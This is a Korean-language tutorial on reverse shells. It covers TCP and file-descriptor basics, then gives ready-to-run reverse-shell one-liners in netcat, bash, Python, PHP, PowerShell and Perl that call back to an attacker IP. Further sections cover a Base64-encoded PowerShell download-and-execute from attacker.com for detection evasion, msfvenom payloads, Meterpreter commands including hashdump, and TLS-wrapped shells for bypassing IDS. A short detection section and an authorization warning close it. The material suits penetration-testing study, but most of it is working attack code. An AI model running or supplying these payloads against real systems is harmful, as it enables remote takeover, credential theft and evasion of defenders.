기본 원리: TCP 연결과 파일 디스크립터
TCP 연결의 방향
모든 네트워크 통신은 소켓(Socket) = IP + 포트 조합으로 이루어진다. TCP 연결에는 서버(리스닝) 쪽과 클라이언트(연결 시도) 쪽이 있다.
일반 SSH 접속:
공격자(클라이언트) ─────connect()────→ 피해자:22(서버)
방화벽: 외부에서 피해자 22번 포트 접근 → 보통 차단됨
Bind Shell:
공격자(클라이언트) ─────connect()────→ 피해자:4444(서버)
방화벽: 외부에서 피해자 4444번 포트 접근 → 차단됨
Reverse Shell (해결책):
공격자:4444(서버) ←────connect()───── 피해자(클라이언트)
방화벽: 피해자가 외부로 연결 시도 → 대부분 허용됨 ✓
대부분의 방화벽은 인바운드(외부 → 내부)는 차단하지만, 아웃바운드(내부 → 외부)는 허용한다. Reverse Shell은 피해자가 공격자에게 연결하므로 방화벽을 우회할 수 있다.
파일 디스크립터와 I/O 리다이렉션
리눅스에서 모든 것은 파일이다. 프로세스는 파일 디스크립터(FD) 번호로 입출력을 관리한다:
FD 0: stdin (표준 입력) ← 키보드
FD 1: stdout (표준 출력) → 터미널
FD 2: stderr (표준 오류) → 터미널
소켓도 파일 디스크립터를 할당받는다: FD 3, 4, 5, ...
리버스 쉘의 핵심은 쉘의 stdin/stdout/stderr를 네트워크 소켓으로 교체하는 것이다:
# Python 리버스 쉘의 원리
import socket, os, subprocess
s = socket.socket()
s.connect(("192.168.1.10", 4444)) # 공격자에게 연결
# 소켓의 FD를 쉘의 stdin/stdout/stderr로 교체
os.dup2(s.fileno(), 0) # 소켓 FD → stdin (공격자 입력이 쉘의 입력이 됨)
os.dup2(s.fileno(), 1) # 소켓 FD → stdout (쉘 출력이 공격자에게 전송됨)
os.dup2(s.fileno(), 2) # 소켓 FD → stderr (에러도 공격자에게 전송됨)
subprocess.call(["/bin/sh", "-i"])
# 이제 /bin/sh의 모든 I/O가 네트워크를 통해 이루어짐
1. Netcat (nc)
netcat은 TCP/UDP 연결을 만드는 도구다. "스위스 아미 나이프"라 불릴 만큼 다용도로 사용된다.
# 공격자: 수신 대기 (리스너)
nc -nlvp 4444
# -n: DNS 조회 없이 숫자 IP만 사용
# -l: 리스닝 모드 (서버 역할)
# -v: 자세한 출력 (verbose)
# -p 4444: 포트 4444에서 대기
# 피해자 (Linux, -e 옵션 지원 버전):
nc -e /bin/bash 192.168.1.10 4444
# 연결 후 /bin/bash를 실행해서 I/O를 소켓에 연결
# -e 옵션 없는 nc (OpenBSD nc, Ubuntu 기본):
rm /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.10 4444 > /tmp/f
# mkfifo: named pipe(FIFO) 생성
# cat /tmp/f: 파이프에서 읽어서 sh에 입력
# sh의 출력을 nc로 전송, nc의 수신을 파이프에 기록
# → 양방향 통신 루프 구성
2. 언어별 원라이너
Bash
# /dev/tcp 의사 파일 활용 (bash 내장)
# bash는 /dev/tcp/host/port로 소켓 생성 가능
bash -i >& /dev/tcp/192.168.1.10/4444 0>&1
# -i: 인터랙티브 쉘
# >& : stdout + stderr를 소켓으로 리다이렉트
# 0>&1: stdin을 stdout(소켓)으로 리다이렉트
Python
# 원라이너
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("192.168.1.10",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/bash")'
# 분해해서 이해하기
python3 -c '
import socket, os, pty
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.10", 4444))
# 소켓 FD를 stdin/stdout/stderr로 교체
for fd in (0, 1, 2):
os.dup2(s.fileno(), fd)
# PTY 할당 (더 완전한 터미널 환경 제공)
pty.spawn("/bin/bash")
'
PHP (웹쉘 환경)
<?php
// 웹쉘에 삽입하거나 RCE 취약점 활용
$sock = fsockopen("192.168.1.10", 4444);
$proc = proc_open("/bin/sh -i", [
0 => $sock, // stdin = 소켓
1 => $sock, // stdout = 소켓
2 => $sock // stderr = 소켓
], $pipes);
proc_close($proc);
// 원라이너
// php -r '$s=fsockopen("192.168.1.10",4444);$p=proc_open("/bin/sh",[0=>$s,1=>$s,2=>$s],$pi);'
?>
PowerShell (Windows)
# Windows 환경에서의 리버스 쉘
$client = New-Object System.Net.Sockets.TCPClient("192.168.1.10", 4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535 | %{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
# 수신한 명령 실행
$data = (New-Object System.Text.ASCIIEncoding).GetString($bytes, 0, $i)
$sendback = (Invoke-Expression $data 2>&1 | Out-String)
$sendback2 = $sendback + "PS " + (Get-Location).Path + "> "
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte, 0, $sendbyte.Length)
$stream.Flush()
}
$client.Close()
# Base64 인코딩 후 실행 (탐지 우회)
$code = 'IEX(New-Object Net.WebClient).DownloadString("http://attacker.com/shell.ps1")'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($code)
$encoded = [Convert]::ToBase64String($bytes)
powershell -enc $encoded
Perl
perl -e 'use Socket;
$i="192.168.1.10"; $p=4444;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
connect(S,sockaddr_in($p,inet_aton($i)));
open(STDIN,">&S");
open(STDOUT,">&S");
open(STDERR,">&S");
exec("/bin/sh -i");'
3. 쉘 업그레이드 (Fully Interactive TTY)
기본 nc 리버스 쉘은 dumb shell로 제한적이다:
Ctrl+C를 누르면 세션이 종료됨- 탭 자동완성 없음
- vim, ssh, su 같은 대화형 프로그램 실행 불가
- 화살표 키가 동작하지 않음
Python PTY 업그레이드 (가장 보편적)
# ─── 피해자 쪽에서 ───
python3 -c 'import pty; pty.spawn("/bin/bash")'
# PTY(가상 터미널) 할당 → Ctrl+C가 세션 종료 대신 프로세스 종료로 동작
# ─── 공격자 쪽에서 ───
Ctrl+Z # 현재 nc를 백그라운드로 보냄
stty raw -echo # 로컬 터미널을 raw 모드로 전환 (키 입력을 바로 전송)
fg # nc를 다시 포그라운드로 가져옴
# ─── 피해자 쪽에서 ───
export TERM=xterm-256color
stty rows 50 columns 200 # 터미널 크기 동기화
# 이제 vim, top, htop 등 대화형 프로그램 사용 가능
socat으로 완전한 TTY
# 공격자: socat 리스너
socat file:`tty`,raw,echo=0 tcp-listen:4444
# 피해자: socat 리버스 쉘 (socat이 설치되어 있어야 함)
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.10:4444
4. Metasploit Meterpreter
Meterpreter는 단순 쉘을 넘어 고급 기능을 제공하는 포스트 익스플로잇 에이전트다:
- 파일 업로드/다운로드
- 스크린샷, 웹캠 캡처
- 키로거
- 피벗팅 (내부망 이동)
- 메모리에서만 실행 (파일 없음 → 탐지 어려움)
# 페이로드 생성 (msfvenom)
# Linux ELF
msfvenom -p linux/x64/meterpreter/reverse_tcp \
LHOST=192.168.1.10 LPORT=4444 \
-f elf -o payload.elf
# Windows EXE
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.1.10 LPORT=4444 \
-f exe -o payload.exe
# PHP 웹쉘 (업로드 취약점 활용)
msfvenom -p php/meterpreter_reverse_tcp \
LHOST=192.168.1.10 LPORT=4444 \
-f raw -o shell.php
# 핸들러 설정
msfconsole -q
msf6 > use exploit/multi/handler
msf6 > set payload linux/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.1.10
msf6 > set LPORT 4444
msf6 > run
# Meterpreter 세션 획득 후 주요 명령어
meterpreter > sysinfo # 시스템 정보
meterpreter > getuid # 현재 사용자
meterpreter > getsystem # 권한 상승 시도
meterpreter > hashdump # 비밀번호 해시 덤프
meterpreter > upload /path # 파일 업로드
meterpreter > download /etc/passwd # 파일 다운로드
meterpreter > shell # 일반 쉘로 전환
meterpreter > background # 세션 백그라운드
5. 암호화 채널 (방화벽/IDS 우회)
평문 리버스 쉘은 IDS/IPS에서 탐지될 수 있다. SSL/TLS로 암호화하면 트래픽이 HTTPS처럼 보인다.
# 방법 1: socat SSL (양쪽에 socat 필요)
# 공격자: 인증서 생성
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out cert.pem -subj "/CN=attacker"
# 공격자: SSL 리스너
socat OPENSSL-LISTEN:443,cert=cert.pem,key=key.pem,verify=0 FILE:`tty`,raw,echo=0
# 피해자: SSL 연결
socat OPENSSL:192.168.1.10:443,verify=0 EXEC:/bin/bash,pty,stderr,setsid
# 방법 2: 443 포트 사용 (HTTPS 포트, 아웃바운드 대부분 허용)
nc -nlvp 443 # 공격자
bash -i >& /dev/tcp/192.168.1.10/443 0>&1 # 피해자
# 방법 3: 80/443/53 포트 사용
# 대부분의 방화벽이 HTTP(80), HTTPS(443), DNS(53) 아웃바운드를 허용
6. 탐지 및 대응
방어 측에서 리버스 쉘을 탐지하는 방법:
# 의심스러운 아웃바운드 연결 모니터링
netstat -antp | grep ESTABLISHED # 현재 연결
ss -antp # 더 현대적
# 비정상적인 프로세스 확인
ps aux | grep -E "nc|bash|sh|python" | grep -v grep
# 네트워크 연결 추적
lsof -i -P | grep ESTABLISHED # 열린 포트와 프로세스 매핑
# Snort/Suricata 시그니처 예시
alert tcp any any -> $EXTERNAL_NET any (
msg:"Reverse Shell Attempt";
content:"/bin/sh"; nocase;
sid:1000001;
)
참고 도구 및 자원
| 도구 | 설명 |
|---|---|
| revshells.com | 원라이너 자동 생성기, IP/포트 입력하면 모든 언어 버전 출력 |
| PayloadsAllTheThings | GitHub 페이로드 모음 (가장 포괄적) |
| pwncat-cs | 자동 TTY 업그레이드, 파일 전송, 모듈 시스템 지원 |
| Metasploit Framework | 통합 익스플로잇 프레임워크 |
| netcat.sourceforge.net | 공식 nc 문서 |
⚠️ 모든 기법은 서면으로 명시된 권한 범위 내의 침투 테스트 환경에서만 사용해야 한다. 무단 사용은 컴퓨터통신망 침해 범죄에 해당한다.